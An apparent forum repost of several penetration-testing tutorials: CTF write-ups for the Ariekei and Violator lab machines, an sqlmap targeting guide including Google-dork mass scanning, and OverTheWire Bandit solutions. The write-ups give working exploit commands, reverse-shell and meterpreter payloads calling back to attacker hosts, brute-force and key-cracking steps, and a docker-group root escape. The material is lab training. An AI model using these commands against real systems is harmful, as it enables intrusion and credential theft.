Login

**NINZA** · 05-14-2020, 09:18 AM

0			0

Today we are going to solve another CTF challenge “Ariekei” which is available online for those who want to increase their skill in penetration testing and black box testing. Ariekei is a retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on the victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.65 so let’s begin with nmap port enumeration.
nmap -sV -p- 10.10.10.65 --open
1
nmap -sV -p- 10.10.10.65 --open
From the given below image, you can observe we found port 22, 443 and 1022 are open on the target system.
[Image: 1.png?w=687&ssl=1]

As port 443 is running HTTP server we open the target machine’s IP address in our browser, we check the SSL certificate and find 2 domain names: calvin.ariekei.htb and beehive.ariekei.htb.
[Image: 2.png?w=687&ssl=1]

Now when we open the website we get a webpage that has a message on it saying it was maintenance.
[Image: 3.png?w=687&ssl=1]

Now we add the two domain names we found in the SSL certificate in the /etc/hosts file for further enumeration.
[Image: 4.png?w=687&ssl=1]

When we open “calvin.ariekei.htb” we get an error message saying the requested URL is not found.
[Image: 5.png?w=687&ssl=1]

Now when we open “beehive.ariekei.htb” we get the same under maintenance page as we did the first time we opened the target’s IP address in our browser.
[Image: 6.png?w=687&ssl=1]

Now we use dirb to enumerate the directories running on target nginx server. We also find that using either the IP address or the domain “beehive.arieki.htb” gives us identical results.
dirb

[To see content please register here]

-w
1
dirb

[To see content please register here]

-w

The dirb scan shows that we access the /cgi-bin/stats directory on the target server, so we open the link provided by the dirb scan. We find that it is running some shell script which might be vulnerable to shellshock vulnerability.
[Image: 8.png?w=687&ssl=1]

When we try to exploit this page using shellshock, we get an emoji which persists whenever we try to exploit it. This may mean there is a web application firewall that protects the server from this attack.
[Image: 9.1.png?w=687&ssl=1]

Now we use dirb to scan the other domain on the target server as it was showing different pages when we opened it in our browser.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Dirb scan shows us a directory named “upload/”, we open the link and find an upload page.
[Image: 10.png?w=687&ssl=1]

This page looks like it converts one type of image into another. This application is may be vulnerable to ImageTragick vulnerability. So we create the mvg file to exploit this vulnerability.
[Image: 12.png?w=687&ssl=1]

Now we upload the file on the server using the image-convert web application page we find in the upload/ directory.
[Image: 14.png?w=687&ssl=1]

We setup our listener using netcat, as soon as we upload the file we get our reverse shell.
[Image: 15.png?w=687&ssl=1]

We take a look at /proc/1/cgroup and find that we are inside a Docker container.
[Image: 16.png?w=687&ssl=1]

Now we take a look at the mounted files and find a directory called /common.
[Image: 17.png?w=687&ssl=1]

We open the “common/” directory and find a secret directory called “.secrets/”. We take a look inside the content of the directory and find files named “bastion_key” and “bastion_key.pub”.
[Image: 18.png?w=687&ssl=1]

We open the “bastion_key” file and we find the RSA key.
[Image: 19.png?w=687&ssl=1]

We copy the file into our system and save it as id_rsa, so that we can use it to log in using ssh.
[Image: 20.png?w=687&ssl=1]

We change the permissions of the key, and log in through ssh as root user using the RSA key.
chmod 600 id_rsa
ssh [email protected] -p 1022 -i id_rsa
1
2
chmod 600 id_rsa
ssh [email protected] -p 1022 -i id_rsa
[Image: 21.png?w=687&ssl=1]

We again check if we are in docker container or not. We check the /proc/1/cgroup file and find that we are still in a docker container.
[Image: 22.png?w=687&ssl=1]

We again go to the “common/” directory, inside /containers/blog-test/ we find a few files and directories. One of the files contained a few bash commands and also root user password.
[Image: 23.png?w=687&ssl=1]

Enumerating the rest of the directories, inside /common/containers/waf-live/ we find the configuration files for the nginx server.
[Image: 24.png?w=687&ssl=1]

We look at the “nginx.conf” file and find that waf-live is running on port 443 and routing all traffic between the blog-test container and us. We also find that mod security is acting as the web application firewall.
Now during our dirb scan, we found a directory called /cgi-bin/stats/ which could be vulnerable to shellshock but we were unable to exploit it because of the web application firewall. As the waf-live is routing traffic between us and blog-test on port 443 it is possible to exploit the Shellshock vulnerability from inside the server.
[Image: 25.png?w=687&ssl=1]

We know the target ip to be 172.24.0.2 form the configuration file. We now need to find the IP address to the docker system we are in.
[Image: 26.png?w=687&ssl=1]

We use the shellshock exploit from

[To see content please register here]

, and we got a reverse shell of the machine.
<span style="color: #ffdc00;">python 34900.py payload=reverse rhost=172.24.0.2 lhost=172.24.0.253 lport=1234 pages=/cgi-bin/stats</span>
1
<span style="color: #ffdc00;">python 34900.py payload=reverse rhost=172.24.0.2 lhost=172.24.0.253 lport=1234 pages=/cgi-bin/stats</span>
[Image: 27.png?w=687&ssl=1]

The shell we got was not stable, so we use the web_delivery module of the Metasploit-framework to get a stable reverse shell.
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 10.10.14.8
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run
1
2
3
4
5
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 10.10.14.8
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run
[Image: 28.png?w=687&ssl=1]

We copy the command that was given in by the web_delivery script and pasted it in our unstable shell and we got our stable reverse shell.
[Image: 30.png?w=687&ssl=1]

Now we spawn a TTY shell and use the password we found earlier in the Dockerfile to log in as root.
[Image: 31.png?w=687&ssl=1]

Unfortunately, we are still inside a container app but in this container, inside /home/spanishdancer we find a file called “user.txt”. We take a look at the content of the file and find our first flag.
[Image: 32.png?w=687&ssl=1]

We search for hidden directories and find a directory called “.ssh” we go inside the directory and find three files authorized_keys, id_rsa and id_rsa.pub.
[Image: 33.png?w=687&ssl=1]

We take a look at the content of id_rsa and find the RSA key.
[Image: 34.png?w=687&ssl=1]

We copy the RSA key into our system and save it as key.txt so that we can use this to log in through ssh.
[Image: 35.png?w=687&ssl=1]

When we try to login through ssh using this key, we are asked for a passphrase. So we use john the ripper to crack the passphrase. We use the default wordlist of johntheripper and find the passphrase to be “purple1”.
ssh2john key.txt > hash_key.txt
john hash_key.txt
1
2
ssh2john key.txt > hash_key.txt
john hash_key.txt
[Image: 36.png?w=687&ssl=1]

After we get the passphrase we change the permission of RSA key file and login as user spanishdancer as it was inside the spanishdancer’s home directory.
chmod 600 key.txt
ssh -i key.txt [email protected]
1
2
chmod 600 key.txt
ssh -i key.txt [email protected]
[Image: 37.png?w=687&ssl=1]

Now when we run the id command we find that we are a member of the docker group. Some containers have a dedicated group to allow unprivileged users to manage their containers without having to escalate their privileges.
[Image: 38.png?w=687&ssl=1]

To exploit this vulnerability, we first need to check the docker images that are available.
docker images
[Image: 39.png?w=687&ssl=1]

We find that the bash image is available to us, so we use this to create a new image and mount the root/ directory of the host inside a folder called /hack. After we run the docker image we go to /hack/root and find a file called “root.txt”. When we open the file we find our final flag.
docker run -v /:/hack -i -t bash
1
docker run -v /:/hack -i -t bash
[Image: 40.png?w=687&ssl=1]

Welcome to another boot2root / CTF this one is called Violator. The VM is set to grab a DHCP lease on boot. As, there is a theme, and you will need to snag the flag in order to complete the challenge. for downloading open this link:

[To see content please register here]

Some hints for you:

Vince Clarke can help you with the Fast Fashion.
The challenge isn’t over with root. The flag is something special.
I have put a few trolls in, but only to sport with you.

Penetrating Methodologies

Network scanning (netdiscover, nmap)
Abusing HTTP web Pages
Dictionary generating (password)
Exploit ProFTPD 1.3.5rc3 (Metasploit)
Dictionary generating (username)
FTP Brute-force attack (Hydra)
Find faith_and_devotion file
Post-exploit ProFTPD-Backdoor(Metasploit)
Get root access
Download password protected RAR file
Crack password (John)
Extract hidden text behind Image (ExifTool)
Decrypt the cipher (Enigma Machine cipher)
Tweet author

Let’s Start!!!
Let’s start with getting to know the IP of VM (Here, I have it at 192.168.1.104 but you will have to find your own)
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
From its scanning result, I found port 21 and 80 is opened, lets explored them.
[Image: 2.png?w=687&ssl=1]

Knowing port 80 is open in the victim’s network I preferred to explore his IP in the browser. At first glance, we saw the following web page. When couldn’t found something suspicious, so we try to check its source-code
[Image: 3.png?w=687&ssl=1]

Hmmm!! After exploring the source code page, I found the URL given for “Wikipedia” and it looks a little bit doubtful.
[Image: 4.png?w=687&ssl=1]

When I opened above mention URL, then we got a Wikipedia page for “violator (album)”. Might be the author has left this URL as a hint for password dictionary?
And at the end of this page, you will notice some tracklist written by Martin L. Gore. We copied all 9 music track title in the text file by deleting space between phases of the word and saved as dict.txt, so that we can use it later.
[Image: 5.png?w=687&ssl=1]

Since we have enumerated the ftp (ProFTPD 1.3.5rc3) was running in victim’s pc so we check its exploit in Metasploit and luckily I found ProFTPD 1.3.5rc3 was exploitable. Therefore I execute the following command to launch the attack against ftp to gain command shell of the victim’s machine.
use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhost 192.168.1.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit
1
2
3
4
use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set rhost 192.168.1.104
msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > exploit
Booomm!! We got command shell of victim’s machine in our Metasploit framework and after then finished the task by grabbing the flag.txt file. Further, I execute the following command for extracting more information for post exploitation.
I love meterpreter session, therefore, firstly I had upgraded command session into meterpreter session and then move inside /home directory to identify user’s directories.
sessions -u 1
sessions 2
cd /home
ls
1
2
3
4
sessions -u 1
sessions 2
cd /home
ls
As we know home directory always holds some directories for the system’s users and here found 4 directories.
Since we have the dict.txt file generated above with the help of Wikipedia; let’s add these 4 names (af, aw dg, mg,) in a text file and saved as user.txt.
[Image: 6.png?w=687&ssl=1]

As we have created a dictionary for user-pass combination, so let’s use it for FTP brute-force attack. With help of the following command, we try to crack the password for FTP and successfully obtained two credential for FTP login.
hydra -L user.txt -P dict.txt -u 192.168.1.104 ftp
1
hydra -L user.txt -P dict.txt -u 192.168.1.104 ftp
[Image: 7.1.png?w=687&ssl=1]

With help of above credential, we logged into FTP as af and fetched faith_and_devotion from inside the path /home/mg.
ftp 192.168.1.104
user: af
password: enjoythesilence
get faith_and_devotion
1
2
3
4
ftp 192.168.1.104
user: af
password: enjoythesilence
get faith_and_devotion
[Image: 7.2.png?w=687&ssl=1]

After downloading the file in our local machine, we open it through cat command and notice given Lyrics. This could be some kind of hint which the author has left for us.
cat faith_and_devotion
1
cat faith_and_devotion
[Image: 7.3.png?w=687&ssl=1]

So I use Google to get closer to Wermacht (Wehrmacht) with 3 rotator as suggested by author to use. I found it something related to Enigma Machine cipher.
Conclusion: Might be the final flag has been encrypted by using enigma machine cipher and with help of faith_and_devotion file instruction we can decrypt that encryption.
[Image: 7.4.png?w=687&ssl=1]

Coming back to the meterpreter shell, then we move ahead and I found the configuration file of proftpd from inside /dg/bd/etc.
cd /home
ls
cd dg
ls
cd bd
ls
cd etc
ls
1
2
3
4
5
6
7
8
cd /home
ls
cd dg
ls
cd bd
ls
cd etc
ls
[Image: 7.png?w=687&ssl=1]

Then with help of cat command, we opened this file and notice the FTP listening port is 2121.
cat proftpd.conf
1
cat proftpd.conf
[Image: 8.png?w=687&ssl=1]

Then with help of the following command, we got proper tty shell of victim’s VM machine and check sudo permission for user:dg.
shell
python -c 'import pty;pty.spawn("/bin/bash")'
su dg
policyoftruth
sudo -l
1
2
3
4
5
shell
python -c 'import pty;pty.spawn("/bin/bash")'
su dg
policyoftruth
sudo -l
Here you can observe the user: dg can run proftpd as root.
[Image: 11.png?w=687&ssl=1]

Then we ran the following command to check network status for all TCP port but couldn’t saw port 2121 at Listen state.
netsat -antp
1
netsat -antp
Then we ran proftpd with sudo then again check network status for all TCP port and this time found port 2121 at Listen state.
sudo /home/dg/bd/sbin/proftpd
netsat -antp
1
2
sudo /home/dg/bd/sbin/proftpd
netsat -antp
[Image: 12.png?w=687&ssl=1]

Thus we have forwarded the remote service at our local network to set-up TCP relay with help of below commands:
portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1
1
portfwd add -L 127.0.0.1 -l 2121 -p 2121 -r 127.0.0.1
Then quickly search for Metasploit exploit for ProFTPD and luckily found “ProFTPD-1.3.3c Backdoor Command Execution” as this module exploits a malicious backdoor that was added to the ProFTPD download archive.
Thus to launch the attack type:
use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
msf exploit(proftpd_133c_backdoor) > set lhost 192.168.1.107
msf exploit(proftpd_133c_backdoor) > set rhost 127.0.0.1
msf exploit(proftpd_133c_backdoor) > set rport 2121
msf exploit(proftpd_133c_backdoor) > exploit
1
2
3
4
5
6
use exploit/unix/ftp/proftpd_133c_backdoor
msf exploit(proftpd_133c_backdoor) > set payload cmd/unix/reverse_perl
msf exploit(proftpd_133c_backdoor) > set lhost 192.168.1.107
msf exploit(proftpd_133c_backdoor) > set rhost 127.0.0.1
msf exploit(proftpd_133c_backdoor) > set rport 2121
msf exploit(proftpd_133c_backdoor) > exploit
Yuppie!! We got command shell session 3 with root privilege.
[Image: 13.png?w=687&ssl=1]

So we have root access of victim’s machine, therefore, let’s quickly get to the final flag, but as I told you that I love meterpreter session so let’s upgrade this command shell session also.
sessions -u 3
sessions 4
cd /root
ls
1
2
3
4
sessions -u 3
sessions 4
cd /root
ls
Here you will get a directory /basildon and a file flag.txt. By reading the flag.txt you will realize, it is not the original flag.txt file which author has asked to capture. Therefore we downloaded /basildon rar file in our local system.
download .basildon /root/Desktop/
1
download .basildon /root/Desktop/
[Image: 14.png?w=687&ssl=1]

It was a password-protected RAR file, that contains an image file and to extract this folder we required the password.
[Image: 15.png?w=687&ssl=1]

Now John cannot directly crack this key, first, we will have to change its format, which can be done using a john utility called “rar2john”.
Syntax: rar2john [location of key]
rar2john crocs.rar > hash
1
rar2john crocs.rar > hash
Now let’s use John the Ripper to crack this hash with help of wordlist we have generated above.
john hash --wordlist=dict.txt
1
john hash --wordlist=dict.txt
So the password for crocs.rar is “World in My Eyes”; let’s open the folder and get the image “artwork.jpg”.
[Image: 16.png?w=687&ssl=1]

So we got below image of violator and I was pretty sure that it must be holding hidden message for the flag.
[Image: 18.jpg?w=687&ssl=1]

Thus we used ExifTool for extracting metadata from inside it. And after running following command we found the ciphertext. Let me remind you that, in above enumerated “faith_and_devotion” file we got some hint for Enigma Machine Cipher.
exiftool artwork.jpg
1
exiftool artwork.jpg
[Image: 17.png?w=687&ssl=1]

Copy the ciphertext and then open this

[To see content please register here]

for decrypting enigma and past the cipher. Then use faith_and_devotion text as instructions.
* Use Wermacht with 3 rotors
* Reflector to B
Initial: A B C
Alphabet Ring: C B A
Plug Board A-B, C-D
Hurray!!! We got the plaintext message. The message was “ONE FINAL CHALLENGE FOR YOU BGHX” and to get this final flag you can tweet the author.
[Image: 19.png?w=687&ssl=1]

Hello everyone. This article will focus on a category of sqlmap commands called the “target commands.” Many might not have tried these commands but they can be proved very useful in the corporate world.
In this article, we’ll be shifting our focus back on one of the finest tools for SQL penetration testing available called SQLMAP.
This tool comes inbuilt in Kali Linux however you can download its python script from

[To see content please register here]

too.
Since it is a crime to attack a live website, we are restricting our focus on the websites that are made for this testing purpose only. We have also used a local PC with SQL dhakkan installed in it. You can refer to the

[To see content please register here]

published earlier to get an idea on how to configure dhakkan in your machine too.
So, without further ado, let’s dive in.

[To see content please register here]

1

[To see content please register here]

First and foremost, I configured SQL dhakkan in a machine with IP address 192.168.1.132. I go to the lesson 1 tab for error based SQLi.

[To see content please register here]

1

[To see content please register here]

Target URL
One of the most basic commands ever. Every database has a webpage and every webpage has a URL. We will attack these URLs to get our hands on the database inside!
By adding ‘-u <URL>’ in sqlmap command we can specify the URL we are targeting to check for SQL injection. It is the most basic and necessary operation.
Here, let’s fetch all the databases that IP address 192.168.1.132 might have by suffixing –dbs
sqlmap -u

[To see content please register here]

--dbs
1
sqlmap -u

[To see content please register here]

--dbs

Now, all the databases available in the given IP have been dumped!
[Image: 3.png?w=687&ssl=1]

Targeting Log File
Many tools save a log file to keep a record on the IP addresses communicating back and forth. We can feed one such log file to the sqlmap and it will automatically test all the URLs in that log file.
The log file can have a record of various targets in reality but here we’ll be capturing the request of a website in burp suite and then saving its log file for simplicity. Let’s turn on the intercept then.
[Image: 6.png?w=687&ssl=1]

Go to the website “leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1” and capture the request in a burp. It has an SQL injection lab installed over public IP for penetration testers.
[Image: edit%2B2.png?w=687&ssl=1]

The captured request will be something like:
[Image: edit0.PNG?w=687&ssl=1]

Now right click->save item and save this request as “logfile” on the desktop. No need to provide any extensions here.
[Image: 9.png?w=687&ssl=1]

Open the terminal and type in the following command to automate the attack from the log file itself.
sqlmap -l /root/Desktop/logfile
1
sqlmap -l /root/Desktop/logfile
[Image: edit%2B3.png?w=687&ssl=1]

Target Bulkfile
Bulkfile is a text file that has the URLs of all the target machines each in a single line with the exact URL of where the attack is applicable.
So, let’s create a bulkfile on the desktop called bulkfile.txt.
touch bulkfile.txt
sudo nano bulkfile.txt
1
2
touch bulkfile.txt
sudo nano bulkfile.txt
[Image: 11.png?w=687&ssl=1]

This will open up a command line text editor called ‘nano’. Let’s feed in some URLs.
To save the file: CTRL+O -> ENTER
To exit nano: CTRL+X
We are all set to attack both of these URLs together by the command:
[Image: 12.png?w=687&ssl=1]

sqlmap -m /root/Desktop/bulkfile.txt --dbs
1
sqlmap -m /root/Desktop/bulkfile.txt --dbs
[Image: 13.png?w=687&ssl=1]

We’ll get the list of databases and we can continue with our other URL.
[Image: 14.png?w=687&ssl=1]

Target Google Dorks
We can also automate the process of finding SQLi by adding in a Google dork target. What it does is that it will start searching for all the websites with given Google dork and automatically keep applying sqlmap on the websites that match the dork. Disclaimer: this attack will automatically be applied to any website that matches the dork, be it government or military, which is a serious criminal offense so it is advised that you play with it carefully.
As we know that error based SQL injections are often found in URLs having ‘.php?id=<num>’ in them, we can apply the inurl Google dork to find all the websites with this in its URL.
sqlmap –g "inurl: ?id=1"
1
sqlmap –g "inurl: ?id=1"
[Image: 15.png?w=687&ssl=1]

As you can see sqlmap has found a website with ‘?id=1’ in its URL.
I’ll be pressing n and canceling the sqlmap scan since it is a crime to do so.
We can also specify the specific page number on which we want to apply the Google dork at by the option “–gpage”
[Image: 15_0.png?w=687&ssl=1]

Target HTTP requests
An HTTP client sends an HTTP request to a server in the form of a request message which includes the following format:

A Request-line
Zero or more header (General|Request|Entity) fields followed by CRLF
An empty line (i.e., a line with nothing preceding the CRLF) indicating the end of the header fields
Optionally a message-body

The Request-Line begins with a method token, followed by the Request-URI and the protocol version, and ending with CRLF. The elements are separated by space SP characters.
Request-Line = Method SP Request-URI SP HTTP-Version CRLF
Hence, we can intercept these HTTP requests, save it in a text file and automate the attack with sqlmap.
[Image: 16.PNG?w=687&ssl=1]

I captured the request of the website “master.byethost18.com/Less-1/?id=1” in the burp and will save it in a text file called “httprequest.txt” and run the command:
sqlmap -r /root/Desktop/httprequest.txt
1
sqlmap -r /root/Desktop/httprequest.txt
As you can see that sqlmap has detected the target in the text file. We can further apply –dbs to fetch all the databases.
I hope that this article was helpful and the readers have learned some new options that they might not have heard about before. Many more options will be coming in the next articles. Keep hacking!
[Image: 18.png?w=687&ssl=1]

Today, we will play a war-game called Bandit. It has a collection of 34 levels.

[To see content please register here]

Organization hosts this war-game. Absolute Beginners are the target audience. It teaches the basics of most Linux commands in a fun and challenging way. To play this war-game, go to the Bandit website by clicking

[To see content please register here]

.
Get the solutions of other levels from below.

[To see content please register here]

Objective
Find the password file. It will give us access to the next level.
Table of Content:

Level 0
Level 0-1
Level 1-2
Level 2-3
Level 3-4
Level 4-5
Level 5-6
Level 6-7
Level 7-8
Level 8-9
Level 9-10
Level 10-11
Level 11-12
Level 12-13
Level 13-14

Level 0
This is a pretty simple level. It teaches us to connect to a host using SSH. This is going to teach players the usage of SSH command.
We got the required information from reading the instruction page.
Host: bandit.labs.overthewire.org
Port: 2220
Username: bandit0
Password: bandit0
We used the above information to login using ssh as shown in the given image.
ssh [email protected] -p 2220
1
ssh [email protected] -p 2220
This level doesn’t require anything else other than logging in. Time to move in on the next level.
Level 0-1
Now, from the bandit0 shell, we need to find the password for logging as the next user. To find that password, we are going to list files in the directory. Our target is to find a file named readme. After finding that file, we need to read the password stored inside that file.
We use the ls command to list the files in the current directory. We found the readme file. Now to read the password we will use the cat command. After that, we are going to use the password to login into next level using SSH
ls -la
cat readme
ssh bandit1@localhost
1
2
3
ls -la
cat readme
ssh bandit1@localhost
[Image: 1.png?w=687&ssl=1]

Level 1-2
We are informed that the password for the next level is stored inside a file named -(hyphen). So, to find it we use the ls command. Now comes the part where we have to read the file. As the file is named -(hyphen) we won’t be able to read it simply by cat command. As cat command considers -(hyphen) as stdin/Stout. If we directly use cat command, it won’t be able to understand that hyphen is a file name. So, we will prefix the command with the path ./, This will help us to read the password stored as shown in the given figure. Since we found the password for the user bandit2. We will use it to get an SSH connection as bandit2.
ls
cat ./-
ssh bandit2@localhost
1
2
3
ls
cat ./-
ssh bandit2@localhost
[Image: 3.png?w=687&ssl=1]

Level 2-3
We are informed that the password for the next level is stored inside a file named spaces in this filename. So, to find it we use the ls command. Now comes the part where we have to read the file. As the file is named spaces in this filename, we won’t be able to read it simply by cat command. As cat command reads files name only until space as it considers space as null ‘/0’. If we directly use cat command, it won’t be able to find the file. So, we will write the name of the file in quotes, this will help us to read the password stored as shown in the given figure. Since we found the password for the user bandit3. We will use it to get an SSH connection as bandit3.
ls
cat 'spaces in this filename'
ssh bandit3@localhost
1
2
3
ls
cat 'spaces in this filename'
ssh bandit3@localhost
[Image: 4.png?w=687&ssl=1]

Level 3-4
We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again. Now it might be the case that the file is hidden. So, we run ls command with -al parameter. It lists all files including the hidden one. And we found the .hidden file. In Linux, the file with a dot(.) in front of the name of the file makes it hidden. Now we would simply use the cat command to read the password stored in the file. Since we found the password for the user bandit4. We will use it to get an SSH connection as bandit4.
ls
cd inhere/
ls
ls -al
cat .hidden
ssh bandit4@localhost
1
2
3
4
5
6
ls
cd inhere/
ls
ls -al
cat .hidden
ssh bandit4@localhost
[Image: 5.png?w=687&ssl=1]

Level 4-5
We are informed that the password for the next level is stored inside a human-readable file. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again. This gives us a bunch of files as shown in the image. We will use the file command to get the information about the files. From files command, we now know that the file07 contains ASCII text. It is mostly readable text. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit5.
ls -la
cd inhere/
ls
file ./*
cat ./-file07
ssh bandit5@localhost
1
2
3
4
5
6
ls -la
cd inhere/
ls
file ./*
cat ./-file07
ssh bandit5@localhost
[Image: 6.png?w=687&ssl=1]

Level 5-6
We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. Now, after traversing inside inhere directory we run ls command again. This gives us a bunch of files as shown in the image. We will use the file size to find the file. Find command has the parameter of size in which we have to use ‘c’ for depicting size in bytes. From find command, we now know that the file2 contains the password. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit6.
ls
cd inhere/
ls
find . -size 1033c
cat ./maybehere07/.file2
ssh bandit6@localhost
1
2
3
4
5
6
ls
cd inhere/
ls
find . -size 1033c
cat ./maybehere07/.file2
ssh bandit6@localhost
[Image: 7.png?w=687&ssl=1]

Level 6-7
We are informed that the password for the next level is stored somewhere on the server. So, finding the file over the server would be a lot trickier if we are using ls. So, we will try to widen our scope of search using the find command. We are hinted that the user of the file is bandit7 and it is a part of group bandit 6. We will add this information as parameters in the find command. We are given the size too. Let’s add that too. Now as we can see in the given image, we successfully located the password file hidden over the server.
find / -user bandit7 -group bandit6 -size 33c
1
find / -user bandit7 -group bandit6 -size 33c
[Image: 8.png?w=687&ssl=1]

cat /var/lib/dpkg/info/bandit7.password
ssh bandit7@localhost
1
2
cat /var/lib/dpkg/info/bandit7.password
ssh bandit7@localhost
From find command, we now know that the bandit7.password contains the credentials. So, let’s read it using cat command. This gives us the password for the next level. We will use it to get an SSH connection as bandit7.
[Image: 9.png?w=687&ssl=1]

Level 7-8
We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now we are hinted that the password is written next to the word millionth in the data.txt file. This means if we find the millionth word, we find the password. We are going to use the grep command for finding millionth. Here we using the (|) Unix pipe. The Pipe connects the standard output from the first command and feeds it as standard input to the second command. In our case, first cat command reads the file and then the data inside the file is sent to grep command to work on. This gives us the password for the next level. We will use it to get an SSH connection as bandit8.
ls
cat data.txt | grep millionth
ssh bandit8@localhost
1
2
3
ls
cat data.txt | grep millionth
ssh bandit8@localhost
[Image: 10.png?w=687&ssl=1]

Level 8-9
We are informed that the password for the next level is stored inside a file named data.txt. It is hinted that the password is the only line of text that occurs only once. Here we are going to use sort command to sort the text inside the data.txt file. But still, the file contains a lot of repeating statements so we will use the uniq command to print the not repeating statement. We are using multiple pipes here to get a filtered result. This gives us the password for the next level. We will use it to get an SSH connection as bandit9.
cat data.txt | sort | uniq -u
ssh bandit9@localhost
1
2
cat data.txt | sort | uniq -u
ssh bandit9@localhost
[Image: 11.png?w=687&ssl=1]

Level 9-10
We are informed that the password for the next level is stored inside a file named data.txt. We are hinted that the password is followed by several ‘=’ characters. Now if we are to use the cat command our screen would be filled with unreadable mesh. So, to get a more refined approach we are going to use strings command which prints character sequences that are at least 4 characters long. And to get to the exact location of the password, we are going to use grep. This gives us the password for the next level. We will use it to get an SSH connection as bandit10.
ls
strings data.txt | grep =
ssh bandit10@localhost
1
2
3
ls
strings data.txt | grep =
ssh bandit10@localhost
[Image: 12.png?w=687&ssl=1]

Level 10-11
We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now, we are hinted that the password is encrypted in Base64. Now we can either read the file with cat command and decode the Base64 manually but we have a command in Linux that can do the heavy lifting for us. So, we use piping to use cat command and base64 command with d parameter to read and decode the text simultaneously. This gives us the password for the next level. We will use it to get an SSH connection as bandit11.
ls
cat data.txt | base64 --decode
ssh bandit11@localhost
1
2
3
ls
cat data.txt | base64 --decode
ssh bandit11@localhost
[Image: 13.png?w=687&ssl=1]

Level 11-12
We are informed that the password for the next level is stored inside a file named data.txt. So, to find it we use the ls command. Now, we are hinted that the file containing the password has changed the format of letters in such a way that all the lowercase and uppercase letters have been rotated by 13 positions. If we can remember right that exactly what happens in ROT13 encryption. Now, to convert the text, we can use the ‘tr’ command. This command translates characters depending on the parameters provided. We used n-z and a-m because tr won’t continue to translate after the Z. This gives us the password for the next level. We will use it to get an SSH connection as bandit12.
ls
cat data.txt | tr a-zA-Z n-za-mN-ZA-M
ssh bandit12@localhost
1
2
3
ls
cat data.txt | tr a-zA-Z n-za-mN-ZA-M
ssh bandit12@localhost
[Image: 14.png?w=687&ssl=1]

Level 12-13
We are informed that the password for the next level is stored inside a directory named inhere. So, to find it we use the ls command. We are hinted that the file containing the password is in the form of a hex dump. Just out of curiosity, let’s read the file using the cat command. As we can see in the given image that the password is not at all readable. We are also told that the password file has been repeatedly compressed. Now to decompress we are going to need a directory with read and write permissions. The tmp directory in root contains the required permissions.
ls
cat data.txt
1
2
ls
cat data.txt
[Image: 15.png?w=687&ssl=1]

So, let’s create a directory inside the tmp directory. Here we named it pavan. Now for further operations let’s copy the file in the directory we just created. Now let’s traverse to our directory using the cd command. Now we check if we have our file in this directory. Now to understand the type of file we are going to use the file command it returns us the type of file. On running the command, we are informed that the file is ASCII text. But as we saw earlier that it is not readable. The xxd command is used in Linux to make the hexdump of a file. It is also used to reverse this process. Let’s use it to retrieve the original file. We are going to use the ‘r’ parameter to revert the process and provide it with a filename where it should store its output. Here we will name it data1
Now it’s time to check the retrieved file, we use the file command again. This tells us that it is a gzip compressed file.
Now decompress first, we need to rename the file and provide it with a proper gzip extension. We are going to use the move command for this. We renamed the file as data2.gz. Now using the gzip command and -d parameter, we decompress the file.
mkdir /tmp/pavan
cp data.txt /tmp/pavan
cd /tmp/pavan
ls
file data.txt
xxd -r data.txt data1
file data1
mv data1 data2.gz
gzip -d data2.gz
1
2
3
4
5
6
7
8
9
mkdir /tmp/pavan
cp data.txt /tmp/pavan
cd /tmp/pavan
ls
file data.txt
xxd -r data.txt data1
file data1
mv data1 data2.gz
gzip -d data2.gz
[Image: 16.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis